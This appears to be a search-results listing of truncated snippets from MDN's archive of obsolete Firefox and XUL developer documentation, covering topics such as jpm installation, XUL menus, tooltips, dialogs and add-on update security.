...t icons and user interface elements are a good fit), a good solution is to use vector graphics. Because vector images are calculated based on mathematical algorithms rather than containing separate data on every pixel in the image, they tend to be smaller in file size, and are infinitely scalable when zoomed or viewed on high resolution devices (at least, in theory). Some ideas follow, which also help to keep the number of HTTP requests down -- another key factor in mobile app performance: You should try to use CSS3 features to programmatically generate graphical effects where possible, rather than relying on image files. these include rounded corners, gradients, and drop shadows. These scale as the resolution changes or the browser zooms. Although they are not supported very well on older ...
2015 MDN Fellowship Program - Archive of obsolete content
rmation Brittany Storoz, Mozilla Apps Engineering. GitHub: brittanystoroz Twitter: @brittanystoroz WebGL Brief Project Description WebGL is the latest incarnation of the OpenGL family of real time rendering immediate mode graphics APIs. WebGL is getting some cool new features in 2015 with the standardization efforts around the WebGL 2.0 spec being published. Activities and Deliverables Help us develop a curriculum on MDN for teaching developers new to graphics programming the WebGL APIs. Required skills and experience Computer graphics experience with programmable shaders and the OpenGL, OpenGL ES, WebGL, or Direct3D APIs. Command of JavaScript and module systems preferred. Mentor information Nick Desaulniers, Sleeps at Desk. GitHub: nickdesaulniers Twitter: @LostOracle Web ...
... at Desk. GitHub: nickdesaulniers Twitter: @LostOracle Web App Performance Brief Project Description Web performance is a feature that needs to be considered from serving content to rendering to interactivity. Finding and addressing performance bottlenecks depends on tooling the browser networking and rendering but also, often more important, user perception. Activities and Deliverables Help us develop a curriculum on MDN for teaching developers to master performance tooling and to develop web apps with performance as a feature. Required skills and experience Experienced Web developer with expertise in JavaScript, CSS, HTML. Knowledge of server-side development, caching and network layers preferred. Mentor information Harald Kirschner, Web Craftsman. GitHub: digitarald Twitter:...
XUL Migration Guide - Archive of obsolete content
First we'll outline how to decide whether your add-on is a good candidate for migration via a comparison of the benefits and limitations of the SDK versus XUL development. Next, we'll look at some of the main tasks involved in migrating: working with content scripts using the SDK's supported APIs how to go beyond the supported APIs when necessary, by: using third party modules using the SDK's low-level APIs getting direct access to XPCOM Finally, we'll walk through a simple example. Should You Migrate? See this comparison of the benefits and limitations of SDK development and XUL development. ...
...le. Should You Migrate? See this comparison of the benefits and limitations of SDK development and XUL development. Whether you should migrate a particular add-on is largely a matter of how well the SDK's supported APIs meet its needs. If your add-on can accomplish everything it needs using only the supported APIs, it's a good candidate for migration. If your add-on needs a lot of help from third party packages, low-level APIs, or XPCOM, then the cost of migrating is high, and may not be worth it at this point. If your add-on only needs a little help from those techniques, and can accomplish most of what it needs using the supported APIs, then it might still be worth migrating: we'll add more supported APIs in future releases to meet important use cases. User Interfac...
Guides - Archive of obsolete content
This page lists more theoretical in-depth articles about the SDK. Contributor's guide Getting Started Learn how to contribute to the SDK: getting the code, opening/taking a bug, filing a patch, getting reviews, and getting help. Modules Learn about the module system used by the SDK (which is based on the CommonJS specification), how sandboxes and compartments can be used to improve security, and about the built-in SDK module loader, known as Cuddlefish. Classes and Inheritance Learn how classes and inheritance can be implemented in JavaScript, using constructors and prototypes, and about the helper functions provided by the SDK to simplify this. Private Properties Learn how private properties can be implemented in JavaScript using prefixes, closures, and WeakMaps, and how t...
...he SDK's event emitting framework. Content scripts guide An overview of content scripts, including: what they are, what they can do, how to load them, how to communicate with them. Two Types of Scripts This article explains the differences between the APIs available to your main add-on code and those available to content scripts. XUL migration XUL Migration Guide Techniques to help port a XUL add-on to the SDK. XUL versus the SDK A comparison of the strengths and weaknesses of the SDK, compared to traditional XUL-based add-ons. Porting Example A walkthrough of porting a relatively simple XUL-based add-on to the SDK. ...
page-worker - Archive of obsolete content
least one match pattern must be supplied. See the match-pattern module for a detailed description of match pattern syntax. contentScriptFile string,array A local file URL or an array of local file URLs of content scripts to load. Content scripts specified by this option are loaded before those specified by the contentScript option. See Working with Content Scripts for help on setting this property. contentScript string,array A string or an array of strings containing the texts of content scripts to load. Content scripts specified by this option are loaded after those specified by the contentScriptFile option. contentScriptWhen string When to load the content scripts. This may take one of the following values: ...
... Methods destroy() Unloads the page worker. After you destroy a page worker, its memory is freed and you must create a new instance if you need to load another page. postMessage(message) Sends a message to the content scripts. Parameters message : value The message to send. Must be JSON-able. on(type, listener) Registers an event listener with the page worker. See Working with Events for help with events. Parameters type : string The type of event to listen for. listener : function The listener function that handles the event. removeListener(type, listener) Unregisters an event listener from the page worker. Parameters type : string The type of event for which listener was registered. listener : function The listener function that was registered. Properties port Object ...
/loader - Archive of obsolete content
r example in the SDK reason may be one of: shutdown, disable, uninstall. unload(loader, 'disable'); Calls to this function will dispatch the unload observer notification that modules can listen to as described above. Other Utilities The loader module exposes several other utility functions that are used internally and can also be handy while bootstrapping the loader itself. They are low level helpers and should be used only during loader bootstrap. Module() The Module() function takes a module ID and URI and creates a module instance object that is exposed as the module variable in the module scope. let module = Module('foo/bar', 'resource:///modules/foo/bar.js'); Note that this won't actually load any module code, it just creates a placeholder for it. The section below describes how ...
... // => resource:///modules/devtools/gcli.js resolveURI('sdk/core/promise', mapping); // => resource://gre/modules/commonjs/sdk/core/promise.js override() This function is used to create a fresh object that contains own properties of two arguments it takes. If arguments have properties with conflicting names the property from the second argument overrides that from the first. This function is helpful for combining default and passed properties: override({ a: 1, b: 1 }, { b: 2, c: 2 }) // => { a: 1, b: 2, c: 2 } descriptor() This utility function takes an object and as an argument and returns property descriptor map for its own properties. It is useful when working with object functions introduced in ES5 (Object.create, Object.defineProperties, ..): // define properties of `source` on `...
jpm-mobile - Archive of obsolete content
You can use jpm and jpm-mobile for Firefox 38 and onwards. This article is the reference for jpm-mobile. The Node-based replacement for cfx --force-mobile. Enables you to run and test add-ons for Firefox Mobile (aka Fennec). jpm usage is: jpm-mobile [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -V, --version - print the jpm version number Installation jpm-mobile is distributed using the node package manager npm, so to get jpm-mobile you need to have npm installed, if you haven't already. npm is included in Node.js, so to install npm, visit nodejs.org and click the Install button. After that you can install jpm just as you would any other npm package: npm install jpm-mobile -g Depending on your setup, you mig...
...mobile -g Depending on your setup, you might need to run this as an administrator: sudo npm install jpm-mobile -g At the command prompt, type: jpm-mobile You should see a screen summarizing the available jpm-mobile commands. Note that unlike cfx, jpm-mobile is available in every command prompt you start, as long as you installed it with the -g flag. Problems? If you don't see this, ask for help. SDK users and project team members discuss problems and proposals on the project mailing list. Someone else may have had the same problem you do, so try searching the list. You're welcome to post a question, too. You can also chat with other SDK users in #jetpack on Mozilla's IRC network. Command reference There are currently two jpm commands: jpm-mobile run Launch an instance of ...
jpm - Archive of obsolete content
jpm is a command-line tool that enables you to test, run, and package add-ons. This is the reference page for jpm. See also jpm tutorial for getting started. jpm usage is: jpm [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -V, --version - print the jpm version number --addon-dir - directory for your source code, defaulting to the current directory Installation jpm is distributed with the node package manager npm. Installing npm There are two ways to get npm. Download and install Node.js from nodejs.org. Node.js includes npm. Or, if you have a package manager like APT, install npm via that. For example, in an Ubuntu or Debian terminal window, enter sudo apt-get install node...
...a versions of Firefox. Thus, you will need to download and install a different version of Firefox. Assuming you don't want an old version of Firefox, your options are Firefox Developer Edition, Firefox Nightly, Unbranded Beta, or Unbranded Release. When testing your add-on, you will need to use the -b option to jpm run. See Selecting a browser version. Problems? If you do not see this, ask for help. SDK users and project team members discuss problems and proposals on the project mailing list. Someone else may have had the same problem you do, so try searching the list. You are welcome to post a question, too. You can also chat with other SDK users in #jetpack on Mozilla's IRC network. Command reference jpm supports the following commands: jpm init Create a skeleton add-on as ...
SVG General - Archive of obsolete content
On this page you will find some simple, general information on SVG markup. Hopefully, enough to get you creating some SVG images. You will also find some general purpose scripting helpers, that should make scripting SVG a little easier. SVG Template Here is a basic markup template to start building an SVG document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- SVG elements go here --> </svg> Note: It is recommended that you do not use DTD's with SVG documents. The tutorial and authoring guidelines have more information. Dynamic scripting helper This little helper script can be used to simplify creation of SVG elements in script. SVG requires you to use setAttributeNS to add attributes to a newly created SVG DOM element. No properties like HTML. SVG IMAGE also requires the use ...
...Here are some examples of using it: var circle = makeSVG("circle", {id: "circle1", cx: "60", cy: "60", r: "50"}); var img = makeSVG("image", {id: "img1", x: "110", y: "110", width: "100", height: "100", svgHref: "bubbles.png"}); var text = makeSVG("text", {id: "text1", x: "60", y: "60"}); text.textContent = "Hello World"; ...
Communication between HTML and your extension - Archive of obsolete content
n by reading carefully and following the complete instructions for Building an Extension I was able to get an extension that could display something on the status bar. What I wanted to do was have an extension "look" for something on an HTML page and if it found that something perform some operation on the found thing and then update the status bar with the results of the operation. With a lot of help from irc://irc.mozilla.org#js and irc://irc.mozilla.org#extdev I was able to get it running pretty well, but I still would rather have the client less responsible for pinging the extension to "look" for what is on the page. What I tried My first attempt was trying to create an XBL component. From what I gather, XBL components are more designed for creating custom components and their specific ...
...ytime the extension went looking for the element, it wasn't there yet. As a last ditch effort I tried setting a timeout using setTimeout when I got the event in the extension to wait a few milliseconds before looking for the desired element. This was non-optimal and the timeout wasn't very reliable for some reason. Sometimes I would get the timeout, sometimes I would'nt. What I ended up with Some helpful information on the irc channel led me to believe that a custom event might help. I started to research custom events on Google but everything that I found was far too complicated for what I wanted to achieve. Eventually I put the creation of the custom event into the stateChanged function that was handling the receipt of the AJAX request. After the HTML component was update with the result of ...
Extension Versioning, Update and Compatibility - Archive of obsolete content
rmation) Problems You may encounter a problem where the content will not be displayed. See image below. The problem is because of MIME type that should be set in the server for xhtml extension. If you are running Apache Server, you might consider adding AddType application/xhtml+xml .xhtml to the .htacess file. Unfortunately, I've encounter cases where adding the MIME type to the server didnt help either. So the solution I did, and which worked, was just to give the file a "xml" extension instead of "xhtml". Securing Updates Gecko 1.9 has added additional requirements designed to protect users from man-in-the-middle attacks and the like during add-on updates. In the install.rdf of the already installed add-on updateURL must be specified in one of the following ways: The updateURL ...
...y. Roughly speaking the update information is converted to a string, then hashed using a sha512 hashing algorithm and this hash is signed using the private key. The resultant data is DER encoded then base 64 encoded for inclusion in the update.rdf as an signature entry. Debugging and solving problems The update mechanism logs information to the console, and display various information which can help you to find problem. To enable the log: Set the value of extensions.logging.enabled to true (using URL about:config) Run Firefox from command with option -console If you encounter problems, search the output in console for your extension id, and see if failures were logged. ...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
Figures 6, 7).4 This results in the file nsILocalFile.idl. Let's display it. Every method includes explanatory comments. In initWithPath, the nsILocalFile object gets initialized, and any information already in it gets reset. Also be aware of a potential problem when using paths not representing entities.5 This requires a full path as an argument. Relative paths will throw errors. This should help you understand the initWithPath specification. FIXME: Figure 6: Searching without a trailing space FIXME: Figure 7: Searching with a trailing space FIXME: Listing 7: Source-code fragment var file = Components.classes['@mozilla.org/file/local;1'] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(hoge); How is this actually implemented? If we want to understan...
...ive name. We can also see how network paths are handled differently on WinCE. Just looking at InitWithPath, we can see how the path-validation process works. Conclusion In this chapter, we looked at some tools beyond the introductory level. If you had any "aha!" moments while reading this, then I hope you'll take the next step and actually put them to work. I hope you'll find that this chapter helps make you a more effective extension developer. gonzui gonzui is a full-text source-code search engine from Satoru Takabayashi, the well-known developer of the Namazu search engine software. FIXME: Not sure we should talk about this tool Installation Windows users can take advantage of a self-contained version created by Soutaro Matsumoto called "gonzui for win32" http://soutaro.com/gonzui-w...
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
ector is an extension that lets you examine HTML and XUL DOM tree structures, JavaScript objects and CSS properties, etc. This is not required for developing extensions, but it is handy to have around. Install extensions for Firefox from the Mozilla Add-ons website. Optional - Install Firebug and Chromebug Chromebug is used by the Firebug development team to develop Firebug. You can use it to help debug Firefox extensions as well as to inspect and learn how the Firefox UI (Chrome) is constructed. You can learn more about Chromebug and download it at http://getfirebug.com/wiki/index.php/Chromebug_User_Guide You may also find this extension to be valuable: Extension Developer https://addons.mozilla.org/firefox/addon/7434 Developing extensions: What you need to know Let's delve into ch...
... permits one XUL file to overlay another without any xul-overlay instruction. Figure 2: Invoking a cross-package overlay (FIXME: Not really explicit and not a Figure) Conclusion This has been a brief introduction to chrome that probably leaves a lot of unanswered questions. If you keep in mind the following three points at the very least, the next section, Developing a Simple Extension, should help flesh out your understanding. An extension's GUI, or chrome, can consist of three kinds of package: content, locale, and skin. Use a cross-package overlay on top of browser.xul to add a button or menu item to the Firefox browser window. The chrome manifest plays two important roles: it registers the contents of the chrome packages, and invokes the cross-package overlay. Developing a Simple...
Introduction - Archive of obsolete content
case you're not familiar with Mozilla and Firefox. Mozilla and Firefox The term Mozilla can be used to refer to several concepts: the Mozilla project, the Mozilla Foundation, the Mozilla Corporation and the old Mozilla browser. Even Firefox is sometimes referred to as "Mozilla". If you're unfamiliar with these terms, it's good that you take some time and learn a little about Mozilla. This will help you understand the culture that surrounds the Mozilla community. Mozilla has spawned several products and projects, the most notable being the Mozilla Firefox web browser. Firefox is one of the most successful open source projects in history, combining the openness, standards-compliance and sophistication of open source with the focus on user experience and powerful outreach more commonly seen i...
...ons, and you can see a mapping of Firefox versions and Gecko versions at the Gecko page. The User Agent String for Firefox at the time of this writing (in US English, Mac OS X) is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0.1) Gecko/20100101 Firefox/25.0.1 The highlighted section is the Gecko version: 25.0.1. You can read and copy the user agent string of any Firefox window, choosing "Help > Troubleshooting Information" from the main menu. On to the Tutorial With the basic concepts out of the way, we can now get right into extension development. You are probably still wondering what exactly is an extension, what can it do, and how can you make them. Well, this whole tutorial is devoted to explaining that to you. Welcome to the world of extension development. Now let's get to it.
The Essentials of an Extension - Archive of obsolete content
ll be covered later on. Most of our coding standards are based on Mozilla's or other known and used standards. ...
...epetition. For example, within a menu or submenu, access keys should not be repeated. In a window you have to be more careful picking access keys because there are usually more controls there. You have to be specially careful when picking access keys on an overlay. In our case, we can't use the letter "H" as an accesskey in the Main menu item, because it would be the same as the access key in the Help menu. Same goes with "W" and the Window menu on Mac OS. So we settled on the letter "l". DTD strings are resolved and set when the document is being loaded. If you request the label attribute value for the Hello World menu using DOM, you get the localized string, not the string key. You cannot dynamically change an attribute value with a new DTD key, you have to set the new value directly: le...
Tabbed browser - Archive of obsolete content
The comments normally mark where you should be inserting your own code. Each snippet normally includes some code to run at initialization, these are best run using a load listener. These snippets assume they are run in the context of a browser window. If you need to work with tabs from a non-browser window, you need to obtain a reference to one first, see Working with windows in chrome code for details. Multiple meanings for the word 'browser' The word 'browser' is used several ways. Of course the entire application Firefox is called "a browser". ...
... or new tab each and every time one is needed, it is good practice to try to re-use an existing tab which already displays the desired URL--if one is already open. Following this practice minimizes the proliferation of tabs and browsers created by your extension. Reusing by URL/URI A common feature found in many extensions is to point the user to chrome:// URIs in a browser window (for example, help or about information) or external (on-line http(s)://) HTML documents when the user clicks an extension's button or link. The following code demonstrates how to re-use an existing tab that already displays the desired URL/URI. If no such tab exists, a new one is opened with the specified URL/URI. function openAndReuseOneTabPerURL(url) { var wm = Components.classes["@mozilla.org/appshell/window...
Source code directories overview - Archive of obsolete content
illa can communicate with the Sun JVM (Java Virtual Machine). It does not include the code for the virtual machine itself, though. themes contains the default themes for Mozilla, modern and classic. toolkit contains the code for the toolkit used for Firefox, Thunderbird and other standalone applications. This will be covered below. tools contains C code for the Linux-only Leaky tool. Leaky can help detect memory leaks and XPCOM reference counting problems. uriloader contains C interfaces and code for invoking the correct viewer for the content contained at a certain URL. For example, if this code determines that the content is a mail message, it looks up the appropriate listener (probably Netscape Messenger) and passes the mail message to it for display. It is generic and can hand the cont...
...loader contains C interfaces and code for invoking the correct viewer for the content contained at a certain URL. For example, if this code determines that the content is a mail message, it looks up the appropriate listener (probably Netscape Messenger) and passes the mail message to it for display. It is generic and can hand the content off to internal components (like Messenger), to plug-ins or helper apps. view contains C interfaces and code for different types of views (e.g. scrolling view). A view contains content but does not contain the title bar, borders or other decorations (which are contained by frames). This code serves to manipulate the individual content that it contains. For example, a scrolling view will find out the scroll bar positions and tell its content where to draw acco...
Mozilla Application Framework - Archive of obsolete content
e rewritten to describe why use XULRunner to create your own application. Related: XULRunner:What XULRunner Provides, XULRunner Hall of Fame The Mozilla Application Framework: for powerful, easy to develop cross-platform applications Want to build applications? Use the Mozilla framework and make your life easier. We provide a comprehensive framework that does much of the work for you, tools to help you develop your apps, and a community of people to help. Framework XUL A comprehensive, cross-platform UI toolkit with an easy-to-learn XML language for defining UI structure, a schema for localization, and support for both native and cross-platform (using CSS) look and feel to make writing UIs quick and painless. Gecko A performant web content rendering/editing engine with world-leadi...
... collection, report generation, code reformatting (pretty printing), and more. DOM Inspector A tool for inspecting and editing the structure and widgets of your user interface while your application is running. XULMaker A GUI builder currently under development that lets you drag-and-drop widgets onto a grid to build your user interface. Bugzilla The Mozilla bug tracking webtool to help you track progress in fixing bugs and implementing features that affect your applications. LXR A web interface to the Mozilla codebase that shows you every file in the repository as well as a line-by-line breakdown of who changed which line when in each file Bonsai A web interface to the checkin log that you can query for checkins between certain dates, of certain files, or by certain d...
New Skin Notes - Archive of obsolete content
Please add any feedback to this page. Thanks! Feedback Fix weird width bug on Preferences page. --dria CSS classes for Feature and Subfeature boxes, including required graphics. -- dria When will these fixes be on the live site? --Nickolay 10:38, 31 Aug 2005 (PDT) Existing fixes should be on test/docs/ now. ...
...rest of Devmo. -- gandalf Unfortunately the Category styling is very much embedded into the MediaWiki code. There are some other changes I need to make, however, so I'll try to fix it up a bit while I'm digging around in there. --dria How about modifying style for the side-bar to have a :hover class added which modifies (to a slightly lighter shade) the background color of the link, this will help to make items "appear as links" to many users, possibly add a text-decoration: underline as well. --Callek Is it possible to remove the blank space on category pages, like Category:DOM?By the way, it looks like this skin has the same problem as previous - the edit box, category list on category pages, and others are always below the end of the sidebar. The major problem it caused in Cavendish s...
Supporting private browsing mode - Archive of obsolete content
notifications There are notifications available that allow you to easily watch for changes to the status of the private browsing mode, including detecting when it turns on and off. In addition, there is a browser:purge-session-history notification that is sent when the browser purges private data that extensions can watch in order to know when it's time to do the same. A private browser listener helper object This helper object registers listeners for private browsing mode changes. This handles interacting with the private browsing service so you don't have to. function PrivateBrowsingListener() { this.init(); } PrivateBrowsingListener.prototype = { _os: null, _inPrivateBrowsing: false, // whether we are in private browsing mode _watcher: null, // the watcher object init : functio...
... } } } else if (aTopic == "quit-application") { this._os.removeObserver(this, "quit-application"); this._os.removeObserver(this, "private-browsing"); } }, get inPrivateBrowsing() { return this._inPrivateBrowsing; }, get watcher() { return this._watcher; }, set watcher(val) { this._watcher = val; } }; Of special note is the fact that this helper object is designed to not break on versions of Firefox without private browsing support (those prior to Firefox 3.5). It will simply always report that private browsing is off, and will never call any registered watcher functions. Using the helper The helper described above is very easy to use. Simply instantiate the helper, then you can use its inPrivateBrowsing flag to detect whether or not...
Running Tamarin performance tests - Archive of obsolete content
be run multiple times. Specifying ./runtests.py -i 10 will run each tests 10 time and use the fastest result. If more than 2 repetitions are specified the 95% percentile confidence rating is calculated. The confidence rating measures the percentage of the mean 95% of the results were within the range. ...
...[options] [tests] -v --verbose enable additional output -E --avm avmplus command to use -a --asc compiler to use -g --globalabc DEPRECATED but still works - use builtin.abc (used to be location of global.abc) -b --builtinabc location of builtin.abc -s --shellabc location of shell_toplevel.abc -x --exclude comma separated list of directories to skip -h --help display help and exit -t --notime do not generate timestamps (cleaner diffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default OS-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --summaryonly only display final summary --rebuildtests rebuild the tests o...
Venkman Introduction - Archive of obsolete content
normally, without pausing as each statement is executed. The Pretty Print button toggles Pretty Print mode. While in Pretty Print mode, the contents of the source view will contain the decompiled source text for the selected function. This is the same text you would get from the toSource method of the Function prototype. If the source text you are debugging is poorly formatted, Pretty Print can help make it easier to read by inserting line breaks and whitespace in appropriate places. When Pretty Print is enabled you will see a green check mark on the toolbar button, and the menu item will be checked as well. The Loaded Scripts View The Loaded Scripts View is in the top left portion of the window. When a file is loaded by the browser it will appear in this view, and when unloaded it will...
...ts that are triggered when a file is loaded. The Interactive Session View Another basic view in Venkman is the actual Interactive Session View, which allows you to interact with the debugger from a command line. Commands are entered in the text box, and responses are appended to the end of the output. Type /commands in the input area (the text box) to list all of the commands available. The /help command can be used to get additional information about a specific command. You can type /help next, for example, to see how to use the next command. The input area supports command history and tab-completion for command names. Command history remembers the last 20 commands entered. The up and down arrows can be used to revisit these previous commands. Tab completion allows the user to type the ...
Mozilla Web Developer Community - Archive of obsolete content
ards-based web development. ...
...Archived DevEdge newsletters are at http://devedge-temp.mozilla.org/community/news/ Feeds Recent Changes RSS Feed Warning: This feed is updated very often. Mozilla Developer News Feed Actually, there are no other feeds available for developer.mozilla.org. Looking for feed ideas? The list of old D...
XML in Mozilla - Archive of obsolete content
Supported Core XML W3C Recommendations The core XML support includes parsing XML without validation (we use the Expat parser), displaying XML with CSS, manipulating XML documents with scripts via DOM, associating stylesheets with XML documents, and namespaces in XML. ...
... also have a couple online: the books demo and the IRS table of contents demo. Both of them demonstrate XML, Associating stylesheets with XML, displaying XML with CSS, Namespaces in XML, XHTML, simple XLinks, and manipulation of XML with scripts via DOM. There is an XML component in Bugzilla. We also have the "xhtml" keyword for XHTML bugs (these tend to be scattered across components). How can I help? If you can code, look for helpwanted keyword in XML bugs. We don't use that always, so if you want to avoid doing duplicate work you could start working on bugs that have Future milestone, or otherwise have a milestone that is set way into the future. You can always test our XML support. We'd really like to get tests that can be run automatically (this would require knowledge of web development;...
Introduction to XUL - Archive of obsolete content
of this article may be out of date. Preamble Mozilla has configurable, downloadable chrome, meaning that the arrangement and even presence or absence of controls in the main window is not hardwired into the application, but loaded from a separate UI description. In fact, most of Mozilla's windows (and dialogs) will be described using this mechanism. XUL (pronounced "zool," as if that spelling helped any, and short for "XML User Interface Language") is our name for the language in which these UI descriptions are built. Window chrome is displayed and managed by the same layout engine that manages HTML content in the browser. UI descriptions, then, look a great deal like HTML 4. XUL is an application of XML. In fact, it is just XML with specific meaning defined for a few element types, and i...
...inside its window. (See The Box System for details). Idealistic Future Direction Ideally, packages of XUL UI descriptions could be shipped in a single file something like <?xml version="1.0"?> <?xml-stylesheet href="xul.css" type="text/css"?> <!DOCTYPE package> <package xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <window id="main"> ... </window> <window id="help"> ... </window> </package> And a window (or other service) could be instantiated by first parsing the whole package and then picking out a window from its contents Package *package = LoadPackage("http://xxx/package.xul"); InstantiateWindow(package, GetNodeWithID("main"); This happy scheme doesn't work today, because the code expects the result of parsing an XML document to be a window.
List of commands - Archive of obsolete content
folder cmd_bm_sortfolderbyname cmd_close cmd_closeOtherTabs cmd_closeWindow cmd_copy cmd_copyImage cmd_copyLink cmd_cut cmd_delete cmd_editPage cmd_findTypeLinks cmd_findTypeText cmd_goToLine cmd_handleBackspace cmd_handleShiftBackspace cmd_minimizeWindow cmd_newEditor cmd_newEditorDraft cmd_newEditorTemplate cmd_newNavigator cmd_newNavigatorTab cmd_newTabWithTarget cmd_openHelp cmd_paste - paste a selection from the clipboard cmd_printSetup cmd_quit cmd_redo cmd_savePage cmd_scrollPageDown cmd_scrollPageUp cmd_selectAll cmd_SwitchDocumentDirection cmd_switchTextDirection cmd_textZoomEnlarge cmd_textZoomReduce cmd_textZoomReset cmd_undo cmd_viewcomponentbar cmd_viewlinktoolbar cmd_viewlinktoolbar_false cmd_viewlinktoolbar_maybe cmd_viewlinktoolbar_true...
...Also obtained from http://www.mozilla.org/unix/customizing.html ...
Menus - Archive of obsolete content
of the screen. For this reason, a window should only have one menu bar, however, each window can have a different menu bar. The menubar should have menu elements within it, one for each menu. The example below shows a menubar with three menus. <menubar id="sample-menubar"> <menu id="file-menu" label="File"> ... </menu> <menu id="tools-menu" label="Tools"> ... </menu> <menu id="help-menu" label="Help"> ... </menu> </menubar> It's possible to place other elements on a menubar, but remember that they will not appear on a Macintosh. So you should ensure that the functionality of these elements is avialable elsewhere. Or, you could write code that handles multiple platforms in different ways. If you do place other elements on a menubar, you may wish to align them on the ...
...mple-menubar"> <menu id="file-menu" label="File"> ... </menu> <spacer flex="1"/> <image src="logo.png"/> </menubar> In this example, a logo image is placed on the end of a menubar. The menupopup element The menupopup element is the popup that displays the menu items. When used for menus on a menubar, the menupopup should be a child of the menu element. The following shows a simple Help menu. <menu label="Help"> <menupopup> <menuitem label="Contents"/> <menuitem label="Search Help"/> </menupopup> </menu> Normally, a menupopup is hidden. When the 'Help' label is pressed, the menupopup is displayed over top of the window, aligned along the bottom of the Help menu label. When a menu command is selected or the menu is cancelled, the menupopup disappears from the scree...
Tooltips - Archive of obsolete content
For instance, moving the mouse over top of a toolbar button and waiting for a second can display a small popup label containing text describing the button's function. When the mouse is moved again, the tooltip disappears. This is a useful means of providing additional details about a user interface without cluttering up the main interface. Note that tooltips can only be activated using the mouse, so they should never contain important information that isn't available elsewhere. The tooltiptext attribute In most cases, the tooltip will display only a single label. ...
... text inside it. This default tooltip is created automatically, so you don't normally need to use a tooltip element. However, it is possible to use another tooltip element that looks differently, or which supports other elements besides a single text label. The tooltip can be created using the tooltip element, the contents of which appear inside the tooltip. <tooltip id="iconic"> <image src="help.png"/> <label value="Save a file to a remote site"/> </tooltip> <button label="Save" tooltip="iconic"/> In this example, a tooltip with the id 'iconic' contains an image and a label. A button is associated with the tooltip using the tooltip attribute. The value of the tooltip attribute should be set to the id of a tooltip element, in this case, 'iconic'. This will cause the tooltip to appear...
Toolbars - Archive of obsolete content
Toolbars, implemented using the XUL toolbar element, are containers for toolbar buttons and other user interface objects. The following articles provide details about implementing and working with toolbars. Documentation XUL School: Adding Toolbars and Toolbar Buttons A helpful tutorial to creating toolbars and toolbar buttons. Toolbar customization events A look at the events that are sent during toolbar customization; you can use these to be kept aware of changes to toolbars. Creating toolbar buttons How to use overlays to add toolbar buttons to Mozilla applications. Custom toolbar button Another example of how to create a toolbar button, complete with a sample extension y...
...mization; you can use these to be kept aware of changes to toolbars. Creating toolbar buttons How to use overlays to add toolbar buttons to Mozilla applications. Custom toolbar button Another example of how to create a toolbar button, complete with a sample extension you can download and try. Code snippets: Toolbar Code snippets that are helpful when working with toolbars. Community View Mozilla extension development forums... Mailing list Newsgroup RSS feed #extdev IRC channel MozillaZine forum about:addons newsletter Mozilla's Web-Tech blog mozdev project owners Planet Mozilla Other community l...
XUL Questions and Answers - Archive of obsolete content
More documentation on Search plugins is available in the Search plugins category. Is localizing remote XUL possible? Loading remote DTDs for XML documents is currenty not supported in XUL. ...
... the properties will eventually be fixed to return the value with the correct type. Using the "icon" attribute on a button From XULPlanet.com reference: This attribute should be used to set the usage for common buttons. Some platforms display these buttons with a small icon indicating their usage. This should be used in place of the image attribute. Possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. If you are using a button that matches one of these common usages, use the icon attribute to indicate this. How to use Dynamic Objects in Toolbar There may be a few ways to implement this: By building your menupopup from an RDF datasource, whic...
button - Archive of obsolete content
. For example, if the dlgType is set to accept, the button will replace the dialog box's accept button, which is usually labeled OK. Using this attribute on a button that is not in a dialog box has no effect. The following values can be used as the dialog type: accept The OK button, which will accept the changes when pressed. cancel The cancel button which will cancel the operation. help A help button for displaying help about the dialog. disclosure A button to show more information. This might be a button or a disclosure triangle. extra1 An optional additional button. extra2 A second optional additional button. group Type: string group name Buttons with type="radio" and the same value for their group attribute are put into the same group. Only one but...
...n from each group can be checked at a time. If the user selects one the buttons, the others in the group are unchecked. icon Mozilla 1.8 Type: string This attribute should be used to set the usage for common buttons. Some platforms display these buttons with a small icon indicating their usage. This should be used in place of the image attribute. Possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. If you are using a button that matches one of these common usages, use the icon attribute to indicate this. See the appearance of the different icons on some available platforms. image Type: URI The URI of the image to appear on the element.
prefpane - Archive of obsolete content
ng other XUL elements. Both may be specified directly as children of the prefpane element, or the src attribute may be used to put a pane in a separate file. In this latter case, the separate file should use an overlay tag as its root tag since it will be loaded as an overlay to the main preferences window. More information is available in the Preferences System article. ...
...label="General" src="chrome://path/to/paneOverlay.xul"/> or <prefpane id="paneGeneral" label="General" onpaneload="onGeneralPaneLoad(event);"> <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> ... more preferences ... </preferences> <checkbox label="Number one?" preference="pref_one"/> ... more UI elements ... </prefpane> Attributes helpURI Type: URI The URI of the help page associated with a preference panel. The URI will be opened using the help viewer when the help button is pressed. image Type: URI The URI of the image to appear on the element. If this attribute is empty or left out, no image appears. The position of the image is determined by the dir and orient attributes. label Type: string...
Dialogs in XULRunner - Archive of obsolete content
odal"); } The resulting dialog looks like this on Windows 2000, and will look similar on other operating systems: The first thing that caught my eye about dialog is the button-related attributes on the element. In an effort to make things easier for developers and more consistent for users, XUL has a mechanism to automatically create and position the core dialog buttons ("OK," "Cancel," and "Help" for example). The developer just declares the need for the button, the button's caption, and the access key for the button, as well as the JavaScript function to call if the button is pressed. XUL handles placing and styling the buttons on the dialog. This is also nice for cross-platform applications, as each OS has its own convention for where buttons should be placed on a dialog. Here is a s...
...is pressed. XUL handles placing and styling the buttons on the dialog. This is also nice for cross-platform applications, as each OS has its own convention for where buttons should be placed on a dialog. Here is a short list of the button attributes on dialog; see also Creating dialogs at MozillaZine knowledge base: buttons A comma separated list of buttons to show on dialog (accept, cancel, help, extra1, and extra2). buttonlabelaccept Label for the accept button; similar attributes exist for the other button types. buttonaccesskeyaccept Access key for the accept button; similar attributes exist for the other button types. ondialogaccept JavaScript to execute if the accept button is pressed; similar attributes exist for the other button types. XUL has a wide range of input control...
Gecko Compatibility Handbook - Archive of obsolete content
